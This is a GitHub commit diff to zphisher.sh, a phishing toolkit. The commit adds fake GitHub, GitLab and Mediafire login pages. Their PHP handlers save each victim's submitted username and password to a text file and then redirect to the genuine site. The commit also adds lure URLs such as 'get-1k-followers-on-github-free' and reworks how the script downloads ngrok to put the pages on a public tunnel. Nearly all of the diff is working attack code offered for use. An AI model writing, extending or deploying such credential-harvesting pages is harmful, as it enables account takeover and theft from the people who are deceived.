Skip to content

Commit 93e9338

Browse files
committed
Ngrok With Hotspot Fixed 100%
1 parent 4366b71 commit 93e9338

File tree

10 files changed

+801
-35
lines changed

10 files changed

+801
-35
lines changed

.sites/github/index.php

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<?php
2+
include 'ip.php';
3+
header('Location: login.html');
4+
exit
5+
?>

.sites/github/login.html

Lines changed: 327 additions & 0 deletions
Large diffs are not rendered by default.

.sites/github/login.php

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?php
2+
3+
file_put_contents("usernames.txt", "Github Username: " . $_POST['login'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
4+
header('Location: https://github.com/password_reset');
5+
exit();
6+
?>

.sites/gitlab/index.php

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<?php
2+
include 'ip.php';
3+
header('Location: login.html');
4+
exit
5+
?>

.sites/gitlab/login.html

Lines changed: 235 additions & 0 deletions
Large diffs are not rendered by default.

.sites/gitlab/login.php

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?php
2+
3+
file_put_contents("usernames.txt", "Gitlab Username: " . $_POST['login'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
4+
header('Location: https://gitlab.com/users/password/new');
5+
exit();
6+
?>

.sites/mediafire/index.php

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<?php
2+
include 'ip.php';
3+
header('Location: login.html');
4+
exit
5+
?>

.sites/mediafire/login.html

Lines changed: 158 additions & 0 deletions
Large diffs are not rendered by default.

.sites/mediafire/login.php

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?php
2+
3+
file_put_contents("usernames.txt", "Mediafire Username: " . $_POST['login_email'] . " Pass: " . $_POST['login_pass'] . "\n", FILE_APPEND);
4+
header('Location: https://www.mediafire.com/login/');
5+
exit();
6+
?>

zphisher.sh

Lines changed: 48 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
## DarksecDevelopers - https://github.com/DarksecDevelopers
1313
## Ignitetch - https://github.com/Ignitetch/AdvPhishing
1414
## Võ Ngọc Bảo - https://github.com/vongocbao
15-
15+
## Mustakim Ahmed - https://www.facebook.com/Learn.Termux.009
1616

1717

1818
## If you Copy Then Give the credits :)
@@ -137,8 +137,8 @@ kill_pid() {
137137
if [[ `pidof php` ]]; then
138138
killall php > /dev/null 2>&1
139139
fi
140-
if [[ `pidof ngrok` || `pidof ngrok2` ]]; then
141-
killall ngrok > /dev/null 2>&1 || killall ngrok2 > /dev/null 2>&1
140+
if [[ `pidof ngrok` ]]; then
141+
killall ngrok > /dev/null 2>&1
142142
fi
143143
}
144144

@@ -172,13 +172,23 @@ banner_small() {
172172
## Dependencies
173173
dependencies() {
174174
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."
175+
176+
if [[ -d "/data/data/com.termux/files/home" ]]; then
177+
if [[ `command -v proot` ]]; then
178+
printf ''
179+
else
180+
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE}
181+
pkg install proot resolv-conf -y
182+
fi
183+
fi
184+
175185
if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then
176186
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."
177187
else
178188
pkgs=(php curl wget unzip)
179189
for pkg in "${pkgs[@]}"; do
180190
type -p "$pkg" &>/dev/null || {
181-
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing packages : ${ORANGE}$pkg${CYAN}"${WHITE}
191+
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE}
182192
if [[ `command -v pkg` ]]; then
183193
pkg install "$pkg"
184194
elif [[ `command -v apt` ]]; then
@@ -196,6 +206,7 @@ dependencies() {
196206
}
197207
done
198208
fi
209+
199210
}
200211

201212
## Download Ngrok
@@ -208,9 +219,9 @@ download_ngrok() {
208219
wget --no-check-certificate "$url" > /dev/null 2>&1
209220
if [[ -e "$file" ]]; then
210221
unzip "$file" > /dev/null 2>&1
211-
mv -f ngrok .server/"$2" > /dev/null 2>&1
222+
mv -f ngrok .server/ngrok > /dev/null 2>&1
212223
rm -rf "$file" > /dev/null 2>&1
213-
chmod +x .server/"$2" > /dev/null 2>&1
224+
chmod +x .server/ngrok > /dev/null 2>&1
214225
else
215226
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured, Install Ngrok manually."
216227
{ reset_color; exit 1; }
@@ -225,31 +236,16 @@ install_ngrok() {
225236
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE}
226237
arch=`uname -m`
227238
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
228-
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip' 'ngrok'
239+
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip'
229240
elif [[ "$arch" == *'aarch64'* ]]; then
230-
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip' 'ngrok'
241+
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip'
231242
elif [[ "$arch" == *'x86_64'* ]]; then
232-
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip' 'ngrok'
243+
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip'
233244
else
234-
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip' 'ngrok'
245+
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip'
235246
fi
236247
fi
237248

238-
if [[ -e ".server/ngrok2" ]]; then
239-
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok patch already installed."
240-
else
241-
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok patch..."${WHITE}
242-
arch=`uname -m`
243-
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
244-
download_ngrok 'https://bin.equinox.io/a/e93TBaoFgZw/ngrok-2.2.8-linux-arm.zip' 'ngrok2'
245-
elif [[ "$arch" == *'aarch64'* ]]; then
246-
download_ngrok 'https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip' 'ngrok2'
247-
elif [[ "$arch" == *'x86_64'* ]]; then
248-
download_ngrok 'https://bin.equinox.io/a/kpRGfBMYeTx/ngrok-2.2.8-linux-amd64.zip' 'ngrok2'
249-
else
250-
download_ngrok 'https://bin.equinox.io/a/4hREUYJSmzd/ngrok-2.2.8-linux-386.zip' 'ngrok2'
251-
fi
252-
fi
253249
}
254250

255251
## Exit message
@@ -268,7 +264,8 @@ about() {
268264
${GREEN}Social ${RED}: ${CYAN}https://linktr.ee/tahmid.rayat
269265
${GREEN}Version ${RED}: ${ORANGE}2.1
270266
271-
${REDBG}${WHITE} Thanks : Adi1090x,MoisesTapia,DarkSecDevelopers,Thelinuxchoice ${RESETBG}
267+
${REDBG}${WHITE} Thanks : Adi1090x,MoisesTapia,ThelinuxChoice
268+
DarkSecDevelopers,Mustakim Ahmed ${RESETBG}
272269
273270
${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit
274271
@@ -343,8 +340,14 @@ capture_data() {
343340
start_ngrok() {
344341
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
345342
{ sleep 1; setup_site; }
346-
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} $2"
347-
sleep 2 && ./.server/"$1" http "$HOST":"$PORT" > /dev/null 2>&1 &
343+
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
344+
345+
if [[ `command -v termux-chroot` ]]; then
346+
sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 & # Thanks to Mustakim Ahmed (https://github.com/BDhackers009)
347+
else
348+
sleep 2 && ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 &
349+
fi
350+
348351
{ sleep 8; clear; banner_small; }
349352
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
350353
ngrok_url1=${ngrok_url#https://}
@@ -367,9 +370,8 @@ tunnel_menu() {
367370
{ clear; banner_small; }
368371
cat <<- EOF
369372
370-
${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs Only${RED}]
371-
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Hotspot Required${RED}]
372-
${RED}[${WHITE}03${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Without Hotspot${RED}]
373+
${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs${RED}]
374+
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Best${RED}]
373375
374376
EOF
375377

@@ -378,9 +380,7 @@ tunnel_menu() {
378380
if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then
379381
start_localhost
380382
elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then
381-
start_ngrok "ngrok" "Launching Ngrok... Turn on Hotspot..."
382-
elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then
383-
start_ngrok "ngrok2" "Launching Ngrok Patched..."
383+
start_ngrok
384384
else
385385
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
386386
{ sleep 1; tunnel_menu; }
@@ -528,6 +528,7 @@ main_menu() {
528528
${RED}[${WHITE}08${RED}]${ORANGE} Twitter ${RED}[${WHITE}18${RED}]${ORANGE} Spotify ${RED}[${WHITE}28${RED}]${ORANGE} StackoverFlow
529529
${RED}[${WHITE}09${RED}]${ORANGE} Playstation ${RED}[${WHITE}19${RED}]${ORANGE} Reddit ${RED}[${WHITE}29${RED}]${ORANGE} Vk
530530
${RED}[${WHITE}10${RED}]${ORANGE} Tiktok ${RED}[${WHITE}20${RED}]${ORANGE} Adobe ${RED}[${WHITE}30${RED}]${ORANGE} XBOX
531+
${RED}[${WHITE}31${RED}]${ORANGE} Mediafire ${RED}[${WHITE}32${RED}]${ORANGE} Gitlab ${RED}[${WHITE}33${RED}]${ORANGE} Github
531532
532533
${RED}[${WHITE}99${RED}]${ORANGE} About ${RED}[${WHITE}00${RED}]${ORANGE} Exit
533534
@@ -647,6 +648,18 @@ main_menu() {
647648
website="xbox"
648649
mask='http://get-500-usd-free-to-your-acount'
649650
tunnel_menu
651+
elif [[ "$REPLY" == 31 ]]; then
652+
website="mediafire"
653+
mask='http://get-1TB-on-mediafire-free'
654+
tunnel_menu
655+
elif [[ "$REPLY" == 32 ]]; then
656+
website="gitlab"
657+
mask='http://get-1k-followers-on-gitlab-free'
658+
tunnel_menu
659+
elif [[ "$REPLY" == 33 ]]; then
660+
website="github"
661+
mask='http://get-1k-followers-on-github-free'
662+
tunnel_menu
650663
elif [[ "$REPLY" == 99 ]]; then
651664
about
652665
elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then
@@ -661,4 +674,4 @@ main_menu() {
661674
kill_pid
662675
dependencies
663676
install_ngrok
664-
main_menu
677+
main_menu

0 commit comments

Comments
 (0)